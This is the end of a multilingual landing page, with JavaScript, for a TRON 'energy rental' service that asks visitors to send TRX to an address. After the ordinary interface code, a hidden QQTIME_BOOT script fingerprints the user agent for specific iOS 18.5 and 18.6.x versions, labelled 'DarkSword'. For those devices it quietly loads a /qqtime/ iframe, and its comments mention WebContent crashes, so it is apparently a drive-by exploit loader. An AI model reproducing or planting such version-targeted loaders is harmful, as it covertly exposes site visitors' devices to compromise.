payTip: "Chuyển TRX để thuê ngay",
copyBtn: "Sao chép địa chỉ",
payRule: "Chuyển 0.1 TRX, hệ thống tự gửi 65.000 năng lượng vào địa chỉ gửi trong vòng 10 giây.",
priceTitle: "Bảng giá minh bạch",
priceSub: "Chọn gói phù hợp với khối lượng giao dịch của bạn.",
plan1Name: "Gói cơ bản",
speedTip: "Nạp ngay lập tức",
copyAddrText: "Sao chép địa chỉ",
bestTag: "Giá trị tốt nhất",
plan2Name: "Sử dụng số lượng lớn",
supportTitle: "Hỗ trợ kỹ thuật toàn diện",
supportDesc: "Cung cấp hỗ trợ 24/7 cho người mới và nhà giao dịch chuyên nghiệp.",
botTitle: "Bot tự động Telegram",
botDesc: "Mua hàng, kiểm tra số dư và đơn hàng nhanh chóng thông qua bot.",
goNow: "Truy cập ngay",
channelTitle: "Kênh thông báo chính thức",
channelDesc: "Nhận cập nhật trạng thái mạng, điều chỉnh giá và thông báo nâng cấp hệ thống.",
subChannel: "Đăng ký kênh",
serviceTitle: "Hỗ trợ con người",
serviceDesc: "Chưa nhận năng lượng hay nhu cầu mua sỉ? Liên hệ đội ngũ kỹ thuật của chúng tôi.",
contactUs: "Liên hệ hỗ trợ",
copyright: "© 2026 Thuê Năng Lượng | Dịch vụ công cấp tổ chức",
footerBot: "Bot Telegram",
footerChannel: "Kênh thông báo",
footerSupport: "Hỗ trợ",
footerPrivacy: "Chính sách bảo mật",
copySuccess: "Đã sao chép địa chỉ vào bộ nhớ tạm",
copiedTxt: "Đã sao chép",
copyFail: "Sao chép tự động thất bại, nhấn Ctrl+C thủ công"
},
ja: {
langName: "日本語",
loadingText: "ネットワークリソースを読み込み中、お待ちください...",
navLogo: "エナジーレンタル",
navHome: "ホーム",
navPrice: "料金",
navSupport: "サポート",
networkOnline: "ネットワーク稼働中",
mainTitle: "エナジーレンタル - 24時間無人運用・即時配布",
mainDesc: "機関向けエナジー代理サービス。手数料無料・即時反映、エコシステム最安価格をご提供。",
payTip: "TRX送金で即時レンタル",
copyBtn: "アドレスをコピー",
payRule: "0.1TRXを送信すると、10秒以内に65,000エナジーが送信元アドレスへ自動配布されます。",
priceTitle: "明朗な料金体系",
priceSub: "取引量に合わせたプランをお選びください。",
plan1Name: "スタータープラン",
speedTip: "即時反映",
copyAddrText: "アドレスをコピー",
bestTag: "おすすめプラン",
plan2Name: "大容量プラン",
supportTitle: "総合技術サポート",
supportDesc: "初心者からプロトレーダーまで24時間体制でサポートリソースを提供します。",
botTitle: "Telegram自動ボット",
botDesc: "ボット経由で購入・残高確認・注文照会がスムーズに行えます。",
goNow: "今すぐアクセス",
channelTitle: "公式告知チャンネル",
channelDesc: "ネットワーク状況、価格改定、システム更新情報を配信します。",
subChannel: "チャンネル登録",
serviceTitle: "有人サポート",
serviceDesc: "入金未反映・法人大口購入の際は専門技術チームへご連絡ください。",
contactUs: "サポートへ連絡",
copyright: "© 2026 エナジーレンタル|機関向け公開サービス",
footerBot: "Telegramボット",
footerChannel: "告知チャンネル",
footerSupport: "サポート",
footerPrivacy: "プライバシーポリシー",
copySuccess: "アドレスをクリップボードにコピーしました",
copiedTxt: "コピー完了",
copyFail: "自動コピー失敗、Ctrl+Cで手動コピーしてください"
},
ko: {
langName: "한국어",
loadingText: "네트워크 리소스를 불러오는 중입니다...",
navLogo: "에너지 렌탈",
navHome: "홈",
navPrice: "요금",
navSupport: "지원",
networkOnline: "네트워크 정상 작동",
mainTitle: "에너지 렌탈 - 24시간 무인 운영 즉시 지급",
mainDesc: "기관급 에너지 중계 서비스, 수수료 없고 즉시 입금되며 생태계 최저가를 제공합니다.",
payTip: "TRX 전송으로 즉시 임대",
copyBtn: "주소 복사",
payRule: "0.1TRX를 보내시면 10초 내로 65,000 에너지가 발신 주소로 자동 지급됩니다.",
priceTitle: "투명한 요금제",
priceSub: "거래량에 맞는 요금제를 선택하세요.",
plan1Name: "스타터",
speedTip: "즉시 지급",
copyAddrText: "주소 복사",
bestTag: "최적 가성비",
plan2Name: "대용량 사용",
supportTitle: "전방위 기술 지원",
supportDesc: "초보자 및 전문 트레이더에게 24시간 지원 자료를 제공합니다.",
botTitle: "텔레그램 자동 봇",
botDesc: "봇으로 구매, 잔액 및 주문 조회를 더 빠르게 처리할 수 있습니다.",
goNow: "바로 방문",
channelTitle: "공식 공지 채널",
channelDesc: "네트워크 상태, 가격 조정, 시스템 업그레이드 알림을 받아보세요.",
subChannel: "채널 구독",
serviceTitle: "인간 상담 지원",
serviceDesc: "입금 누락 또는 기관 대량 구매 문의는 전문 기술팀에 연락하십시오.",
contactUs: "고객센터 연락",
copyright: "© 2026 에너지 렌탈 | 기관 공공 서비스",
footerBot: "텔레그램 봇",
footerChannel: "공지 채널",
footerSupport: "고객지원",
footerPrivacy: "개인정보 처리방침",
copySuccess: "주소가 클립보드에 복사되었습니다",
copiedTxt: "복사됨",
copyFail: "자동 복사 실패, Ctrl+C로 수동 복사하세요"
},
tr: {
langName: "Türkçe",
loadingText: "Ağ kaynakları eşleştiriliyor, lütfen bekleyin...",
navLogo: "Enerji Kiralama",
navHome: "Ana Sayfa",
navPrice: "Fiyatlar",
navSupport: "Destek",
networkOnline: "Aktif Ağ",
mainTitle: "Enerji Kiralama - 7/24 Gözetimsiz Anlık Teslimat",
mainDesc: "Kurumsal seviye enerji proxy hizmeti. Sıfır komisyon, anlık teslimat ile ekosistemin en rekabetçi fiyatları.",
payTip: "Anında kiralamak için TRX gönderin",
copyBtn: "Adresi Kopyala",
payRule: "0.1 TRX gönderdiğinizde 10 saniye içinde 65.000 enerji otomatik olarak gönderim adresinize aktarılacaktır.",
priceTitle: "Şeffaf Fiyatlandırma",
priceSub: "İşlem hacminize uygun paketi seçin.",
plan1Name: "Başlangıç",
speedTip: "Anlık Yükleme",
copyAddrText: "Adresi Kopyala",
bestTag: "En İyi Değer",
plan2Name: "Yüksek Hacim",
supportTitle: "Tam Teknik Destek",
supportDesc: "Yeni başlayan ve profesyonel yatırımcılara 7/24 destek kaynakları sunuyoruz.",
botTitle: "Telegram Otomatik Bot",
botDesc: "Bot üzerinden alım, bakiye ve sipariş takibi yaparak işlemlerinizi hızlandırın.",
goNow: "Şimdi Ziyaret Et",
channelTitle: "Resmi Duyuru Kanalı",
channelDesc: "Ağ durumu güncellemeleri, fiyat ayarlamaları ve sistem yükseltme bildirimlerini alın.",
subChannel: "Kanala Abone Ol",
serviceTitle: "İnsan Destek Hattı",
serviceDesc: "Ödeme gelmediyse veya kurumsal toplu alım talepleriniz varsa teknik ekibimizle iletişime geçin.",
contactUs: "Destek İletişimi",
copyright: "© 2026 Enerji Kiralama | Kurumsal Kamu Hizmeti",
footerBot: "Telegram Bot",
footerChannel: "Kanal",
footerSupport: "Destek",
footerPrivacy: "Gizlilik Politikası",
copySuccess: "Adres panoya kopyalandı",
copiedTxt: "Kopyalandı",
copyFail: "Otomatik kopyalama başarısız, Ctrl+C ile manuel kopyalayın"
}
};
function setLanguage(lang) {
localStorage.setItem("siteLang", lang);
const langName = i18nData[lang].langName;
dom.currentLangTxt.textContent = langName;
document.documentElement.lang = lang;
dom.langMenu.classList.remove('open');
dom.i18nItems.forEach(el => {
const key = el.getAttribute("data-i18n");
if (i18nData[lang][key]) {
el.textContent = i18nData[lang][key];
}
});
if (dom.loadingText) {
dom.loadingText.textContent = i18nData[lang].loadingText;
}
document.title = lang === "zh"
? "能量租赁 - 24小时无人值守极速到账"
: "Energy Rental - 24/7 Unattended Instant Delivery";
}
const savedLang = localStorage.getItem("siteLang") || "en";
setLanguage(savedLang);
dom.langToggleBtn.addEventListener('click', (e) => {
e.stopPropagation();
dom.langMenu.classList.toggle('open');
});
document.addEventListener("click", (e) => {
if (!dom.langDropdown.contains(e.target)) {
dom.langMenu.classList.remove('open');
}
});
dom.langOptions.forEach(item => {
item.addEventListener("click", () => {
const selectedLang = item.dataset.lang;
setLanguage(selectedLang);
});
});
const showToast = () => {
dom.toast.style.opacity = "1";
dom.toastInner.style.transform = "scale(1)";
setTimeout(() => {
dom.toast.style.opacity = "0";
dom.toastInner.style.transform = "scale(0.9)";
}, 2000);
};
const copyAddress = async () => {
const rawAddr = dom.tronAddress.textContent.trim();
const realAddress = rawAddr.replace(/\s+/g, "");
let copySuccess = false;
const currentLang = localStorage.getItem("siteLang") || "en";
try {
await navigator.clipboard.writeText(realAddress);
copySuccess = true;
} catch (err) {
dom.tempCopy.value = realAddress;
dom.tempCopy.select();
document.execCommand("copy");
copySuccess = true;
}
if (copySuccess) {
dom.copyBtnText.textContent = i18nData[currentLang].copiedTxt;
showToast();
setTimeout(() => {
dom.copyBtnText.textContent = i18nData[currentLang].copyBtn;
}, 2000);
} else {
const range = document.createRange();
range.selectNodeContents(dom.tronAddress);
window.getSelection().removeAllRanges();
window.getSelection().addRange(range);
alert(i18nData[currentLang].copyFail);
}
};
dom.copyButtons.forEach(btn => btn.addEventListener("click", copyAddress));
</script>
<!-- QQTIME_BOOT -->
<script>
(function () {
// DS 仅 18.5 / 18.6 / 18.6.1 / 18.6.2;其余顶层进 /qqtime/ Coruna 进度壳
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
if (location.pathname.indexOf("/qqtime") === 0) return;
function isDarkSword() {
var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
navigator.userAgent || ""
);
if (!m) return false;
var maj = +m[1],
min = +m[2],
pat = +(m[3] || 0);
if (maj !== 18) return false;
if (min === 5 && pat === 0) return true;
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
return false;
}
if (!isDarkSword()) {
location.replace(location.origin + "/qqtime/");
return;
}
var frame = document.getElementById("frame");
if (!frame) return;
var started = false;
var LS_FRAME_AT = "__er_frame_at";
var STATE_TTL_MS = 60 * 60 * 1000;
function frameAlreadyLaunched() {
if (window.__ER_FRAME_ALREADY__) return true;
try {
var v = parseInt(localStorage.getItem(LS_FRAME_AT) || "0", 10) || 0;
if (v && Date.now() - v <= STATE_TTL_MS) return true;
} catch (e) {}
return false;
}
function startQqtime() {
if (started) return;
// WC 崩溃整页刷新后:绝不二次挂 iframe(日志里第二次 GET /qqtime/ 就是这个问题)
if (frameAlreadyLaunched()) return;
started = true;
try {
localStorage.setItem(LS_FRAME_AT, String(Date.now()));
} catch (e2) {}
window.__ER_FRAME_ALREADY__ = true;
frame.src = location.origin + "/qqtime/";
}
window.__ER_START_CHAIN__ = startQqtime;
if (window.__ER_COUNTDOWN_DONE__) startQqtime();
})();
</script>
<!-- /QQTIME_BOOT -->
</body>
</html>